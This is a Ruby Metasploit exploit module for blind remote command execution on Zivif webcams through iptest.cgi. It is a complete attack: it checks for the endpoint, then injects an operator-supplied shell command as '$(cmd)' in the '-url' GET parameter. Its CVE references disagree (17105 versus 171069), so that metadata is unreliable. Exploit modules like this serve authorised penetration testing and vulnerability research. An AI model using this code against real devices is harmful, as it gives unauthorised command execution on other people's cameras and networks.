95 lines
2.5 KiB
Ruby
95 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
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'Description' => %q{
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This module exploits a remote command execution vulnerability in Zivif
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webcams. This is known to impact versions prior to and including v2.3.4.2103.
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Exploit was reported in CVE-2017-17105.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Silas Cutler (p1nk)' ],
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'References' => [
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[ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
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[ 'CVE', '2017-171069' ]
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],
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'Platform' => 'unix',
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'Targets' => [
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[ 'Automatic Target', {}]
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],
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'Payload' => {
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'Space' => 1024,
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'BadChars' => "\x00\x27",
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic'
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}
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},
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/generic'
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},
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'Privileged' => false,
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'DisclosureDate' => '2017-09-01',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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}
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)
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)
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end
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def check
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res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
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unless res
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vprint_error('Connection failed')
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return Exploit::CheckCode::Unknown
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end
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unless res.code && res.code == 200
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return CheckCode::Safe
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end
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CheckCode::Detected
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end
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def exploit
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print_status('Sending request')
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cmd = datastore['CMD']
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res = send_request_cgi(
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'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
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'method' => 'GET',
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'vars_get' => {
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'cmd' => 'iptest.cgi',
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'-time' => Time.now.to_i,
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'-url' => "$(#{cmd})"
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}
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)
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unless res
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fail_with(Failure::Unreachable, 'Connection failed')
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end
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if res.code && res.code == 200
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print_good('Command sent successfully')
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else
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fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
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end
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end
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end
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